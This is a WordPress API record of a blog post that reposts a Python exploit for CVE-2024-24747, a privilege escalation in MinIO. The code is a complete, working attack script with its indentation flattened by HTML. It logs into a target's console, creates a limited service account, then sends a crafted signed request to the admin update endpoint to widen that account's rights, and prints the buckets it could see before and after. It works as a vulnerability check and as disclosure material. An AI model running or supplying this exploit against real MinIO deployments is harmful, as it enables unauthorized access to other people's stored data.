{"id":56238,"date":"2024-04-12T19:29:57","date_gmt":"2024-04-12T15:29:57","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/178031\/minio-escalate.txt"},"modified":"2024-04-12T19:29:57","modified_gmt":"2024-04-12T15:29:57","slug":"minio-privilege-escalation","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/minio-privilege-escalation\/","title":{"rendered":"MinIO Privilege Escalation"},"content":{"rendered":"<p># Exploit Title: MinIO &lt; 2024-01-31T20-20-33Z &#8211; Privilege Escalation<br \/># Date: 2024-04-11<br \/># Exploit Author: Jenson Zhao<br \/># Vendor Homepage: https:\/\/min.io\/<br \/># Software Link: https:\/\/github.com\/minio\/minio\/<br \/># Version: Up to (excluding) RELEASE.2024-01-31T20-20-33Z<br \/># Tested on: Windows 10<br \/># CVE : CVE-2024-24747<br \/># Required before execution: pip install minio,requests<\/p>\n<p>import argparse<br \/>import datetime<br \/>import traceback<br \/>import urllib<br \/>from xml.dom.minidom import parseString<br \/>import requests<br \/>import json<br \/>import base64<br \/>from minio.credentials import Credentials<br \/>from minio.signer import sign_v4_s3<\/p>\n<p>class CVE_2024_24747:<br \/>new_buckets = []old_buckets = []def __init__(self, host, port, console_port, accesskey, secretkey, verify=False):<br \/>self.bucket_names = [&#8216;pocpublic&#8217;, &#8216;pocprivate&#8217;]self.new_accesskey = &#8216;miniocvepoc&#8217;<br \/>self.new_secretkey = &#8216;MINIOcvePOC&#8217;<br \/>self.headers = {<br \/>&#8216;User-Agent&#8217;: &#8216;Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/123.0.0.0 Safari\/537.36&#8217;,<br \/>&#8216;Content-Type&#8217;: &#8216;application\/json&#8217;,<br \/>&#8216;Accept&#8217;: &#8216;*\/*&#8217;<br \/>}<br \/>self.accesskey = accesskey<br \/>self.secretkey = secretkey<br \/>self.verify = verify<br \/>if verify:<br \/>self.url = &#8220;https:\/\/&#8221; + host + &#8220;:&#8221; + port<br \/>self.console_url = &#8220;https:\/\/&#8221; + host + &#8220;:&#8221; + console_port<br \/>else:<br \/>self.url = &#8220;http:\/\/&#8221; + host + &#8220;:&#8221; + port<br \/>self.console_url = &#8220;http:\/\/&#8221; + host + &#8220;:&#8221; + console_port<br \/>self.credits = Credentials(<br \/>access_key=self.new_accesskey,<br \/>secret_key=self.new_secretkey<br \/>)<br \/>self.login()<br \/>try:<br \/>self.create_buckets()<br \/>self.create_accesskey()<br \/>self.old_buckets = self.console_ls()<br \/>self.console_exp()<br \/>self.new_buckets = self.console_ls()<\/p>\n<p>except:<br \/>traceback.print_stack()<br \/>finally:<br \/>self.delete_accesskey()<br \/>self.delete_buckets()<br \/>if len(self.new_buckets) &gt; len(self.old_buckets):<br \/>print(&#8220;There is CVE-2024-24747 problem with the minio!&#8221;)<br \/>print(&#8220;Before the exploit, the buckets are : &#8221; + str(self.old_buckets))<br \/>print(&#8220;After the exploit, the buckets are : &#8221; + str(self.new_buckets))<br \/>else:<br \/>print(&#8220;There is no CVE-2024-24747 problem with the minio!&#8221;)<\/p>\n<p>def login(self):<br \/>url = self.url + &#8220;\/api\/v1\/login&#8221;<br \/>payload = json.dumps({<br \/>&#8220;accessKey&#8221;: self.accesskey,<br \/>&#8220;secretKey&#8221;: self.secretkey<br \/>})<br \/>self.session = requests.session()<br \/>if self.verify:<br \/>self.session.verify = False<br \/>status_code = self.session.request(&#8220;POST&#8221;, url, headers=self.headers, data=payload).status_code<br \/># print(status_code)<br \/>if status_code == 204:<br \/>status_code = 0<br \/>else:<br \/>print(&#8216;Login failed! Please check if the input accesskey and secretkey are correct!&#8217;)<br \/>exit(1)<br \/>def create_buckets(self):<br \/>url = self.url + &#8220;\/api\/v1\/buckets&#8221;<br \/>for name in self.bucket_names:<br \/>payload = json.dumps({<br \/>&#8220;name&#8221;: name,<br \/>&#8220;versioning&#8221;: False,<br \/>&#8220;locking&#8221;: False<br \/>})<br \/>status_code = self.session.request(&#8220;POST&#8221;, url, headers=self.headers, data=payload).status_code<br \/># print(status_code)<br \/>if status_code == 200:<br \/>status_code = 0<br \/>else:<br \/>print(&#8220;\u65b0\u5efa (New)&#8221;+name+&#8221; bucket \u5931\u8d25 (fail)\uff01&#8221;)<br \/>def delete_buckets(self):<br \/>for name in self.bucket_names:<br \/>url = self.url + &#8220;\/api\/v1\/buckets\/&#8221; + name<br \/>status_code = self.session.request(&#8220;DELETE&#8221;, url, headers=self.headers).status_code<br \/># print(status_code)<br \/>if status_code == 204:<br \/>status_code = 0<br \/>else:<br \/>print(&#8220;\u5220\u9664 (delete)&#8221;+name+&#8221; bucket \u5931\u8d25 (fail)\uff01&#8221;)<br \/>def create_accesskey(self):<br \/>url = self.url + &#8220;\/api\/v1\/service-account-credentials&#8221;<br \/>payload = json.dumps({<br \/>&#8220;policy&#8221;: &#8220;{ \\n \\&#8221;Version\\&#8221;:\\&#8221;2012-10-17\\&#8221;, \\n \\&#8221;Statement\\&#8221;:[ \\n { \\n \\&#8221;Effect\\&#8221;:\\&#8221;Allow\\&#8221;, \\n \\&#8221;Action\\&#8221;:[ \\n \\&#8221;s3:*\\&#8221; \\n ], \\n \\&#8221;Resource\\&#8221;:[ \\n \\&#8221;arn:aws:s3:::pocpublic\\&#8221;, \\n \\&#8221;arn:aws:s3:::pocpublic\/*\\&#8221; \\n ] \\n } \\n ] \\n}&#8221;,<br \/>&#8220;accessKey&#8221;: self.new_accesskey,<br \/>&#8220;secretKey&#8221;: self.new_secretkey<br \/>})<br \/>status_code = self.session.request(&#8220;POST&#8221;, url, headers=self.headers, data=payload).status_code<br \/># print(status_code)<br \/>if status_code == 201:<br \/># print(&#8220;\u65b0\u5efa (New)&#8221; + self.new_accesskey + &#8221; accessKey \u6210\u529f (success)\uff01&#8221;)<br \/># print(self.new_secretkey)<br \/>status_code = 0<br \/>else:<br \/>print(&#8220;\u65b0\u5efa (New)&#8221; + self.new_accesskey + &#8221; accessKey \u5931\u8d25 (fail)\uff01&#8221;)<br \/>def delete_accesskey(self):<br \/>url = self.url + &#8220;\/api\/v1\/service-accounts\/&#8221; + base64.b64encode(self.new_accesskey.encode(&#8220;utf-8&#8221;)).decode(&#8216;utf-8&#8217;)<br \/>status_code = self.session.request(&#8220;DELETE&#8221;, url, headers=self.headers).status_code<br \/># print(status_code)<br \/>if status_code == 204:<br \/># print(&#8220;\u5220\u9664&#8221; + self.new_accesskey + &#8221; accessKey\u6210\u529f\uff01&#8221;)<br \/>status_code = 0<br \/>else:<br \/>print(&#8220;\u5220\u9664 (delete)&#8221; + self.new_accesskey + &#8221; accessKey \u5931\u8d25 (fail)\uff01&#8221;)<br \/>def headers_gen(self,url,sha256,method):<br \/>datetimes = datetime.datetime.utcnow()<br \/>datetime_str = datetimes.strftime(&#8216;%Y%m%dT%H%M%SZ&#8217;)<br \/>urls = urllib.parse.urlparse(url)<br \/>headers = {<br \/>&#8216;X-Amz-Content-Sha256&#8217;: sha256,<br \/>&#8216;X-Amz-Date&#8217;: datetime_str,<br \/>&#8216;Host&#8217;: urls.netloc,<br \/>}<br \/>headers = sign_v4_s3(<br \/>method=method,<br \/>url=urls,<br \/>region=&#8217;us-east-1&#8242;,<br \/>headers=headers,<br \/>credentials=self.credits,<br \/>content_sha256=sha256,<br \/>date=datetimes,<br \/>)<br \/>return headers<br \/>def console_ls(self):<br \/>url = self.console_url + &#8220;\/&#8221;<br \/>sha256 = &#8220;e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855&#8221;<br \/>headers = self.headers_gen(url,sha256,&#8217;GET&#8217;)<br \/>if self.verify:<br \/>response = requests.get(url,headers=headers,verify=False)<br \/>else:<br \/>response = requests.get(url, headers=headers)<br \/>DOMTree = parseString(response.text)<br \/>collection = DOMTree.documentElement<br \/>buckets = collection.getElementsByTagName(&#8220;Bucket&#8221;)<br \/>bucket_names = []for bucket in buckets:<br \/>bucket_names.append(bucket.getElementsByTagName(&#8220;Name&#8221;)[0].childNodes[0].data)<br \/># print(&#8216;\u5f53\u524d\u53ef\u67e5\u770b\u7684bucket\u6709:\\n&#8217; + str(bucket_names))<br \/>return bucket_names<\/p>\n<p>def console_exp(self):<br \/>url = self.console_url + &#8220;\/minio\/admin\/v3\/update-service-account?accessKey=&#8221; + self.new_accesskey<br \/>sha256 = &#8220;0f87fd59dff29507f82e189d4f493206ea7f370d0ce97b9cc8c1b7a4e609ec95&#8221;<br \/>headers = self.headers_gen(url, sha256, &#8216;POST&#8217;)<br \/>hex_string = &#8220;e1fd1c29bed167d5cf4986d3f224db2994b4942291dbd443399f249b84c79d9f00b9e0c0c7eed623a8621dee64713a3c8c63e9966ab62fcd982336&#8221;<br \/>content = bytes.fromhex(hex_string)<br \/>if self.verify:<br \/>response = requests.post(url,headers=headers,data=content,verify=False)<br \/>else:<br \/>response = requests.post(url,headers=headers,data=content)<br \/>status_code = response.status_code<br \/>if status_code == 204:<br \/># print(&#8220;\u63d0\u5347&#8221; + self.new_accesskey + &#8221; \u6743\u9650\u6210\u529f\uff01&#8221;)<br \/>status_code = 0<br \/>else:<br \/>print(&#8220;\u63d0\u5347 (promote)&#8221; + self.new_accesskey + &#8221; \u6743\u9650\u5931\u8d25 (Permission failed)\uff01&#8221;)<\/p>\n<p>if __name__ == &#8216;__main__&#8217;:<br \/>logo = &#8220;&#8221;&#8221; <br \/>____ ___ ____ _ _ ____ _ _ _____ _ _ _____ <br \/>___ __ __ ___ |___ \\ \/ _ \\ |___ \\ | || | |___ \\ | || | |___ || || | |___ |<br \/>\/ __|\\ \\ \/ \/ \/ _ \\ _____ __) || | | | __) || || |_ _____ __) || || |_ \/ \/ | || |_ \/ \/ <br \/>| (__ \\ V \/ | __\/|_____| \/ __\/ | |_| | \/ __\/ |__ _||_____| \/ __\/ |__ _| \/ \/ |__ _| \/ \/ <br \/>\\___| \\_\/ \\___| |_____| \\___\/ |_____| |_| |_____| |_| \/_\/ |_| \/_\/ <br \/>&#8220;&#8221;&#8221;<br \/>print(logo)<br \/>parser = argparse.ArgumentParser()<br \/>parser.add_argument(&#8220;-H&#8221;, &#8220;&#8211;host&#8221;, required=True, help=&#8221;Host of the target. example: 127.0.0.1&#8243;)<br \/>parser.add_argument(&#8220;-a&#8221;, &#8220;&#8211;accesskey&#8221;, required=True, help=&#8221;Minio AccessKey of the target. example: minioadmin&#8221;)<br \/>parser.add_argument(&#8220;-s&#8221;, &#8220;&#8211;secretkey&#8221;, required=True, help=&#8221;Minio SecretKey of the target. example: minioadmin&#8221;)<br \/>parser.add_argument(&#8220;-c&#8221;, &#8220;&#8211;console_port&#8221;, required=True, help=&#8221;Minio console port of the target. example: 9000&#8243;)<br \/>parser.add_argument(&#8220;-p&#8221;, &#8220;&#8211;port&#8221;, required=True, help=&#8221;Minio port of the target. example: 9090&#8243;)<br \/>parser.add_argument(&#8220;&#8211;https&#8221;, action=&#8217;store_true&#8217;, help=&#8221;Is MinIO accessed through HTTPS.&#8221;)<br \/>args = parser.parse_args()<br \/>CVE_2024_24747(args.host,args.port,args.console_port,args.accesskey,args.secretkey,args.https)<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: MinIO &lt; 2024-01-31T20-20-33Z &#8211; Privilege Escalation# Date: 2024-04-11# Exploit Author: Jenson Zhao# Vendor Homepage: https:\/\/min.io\/# Software Link: https:\/\/github.com\/minio\/minio\/# Version: Up to (excluding) RELEASE.2024-01-31T20-20-33Z# Tested on: Windows 10# CVE : CVE-2024-24747# Required before execution: pip install minio,requests import argparseimport datetimeimport tracebackimport urllibfrom xml.dom.minidom import parseStringimport requestsimport jsonimport base64from minio.credentials import Credentialsfrom minio.signer import &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56238","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56238","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56238"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56238\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56238"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56238"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56238"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}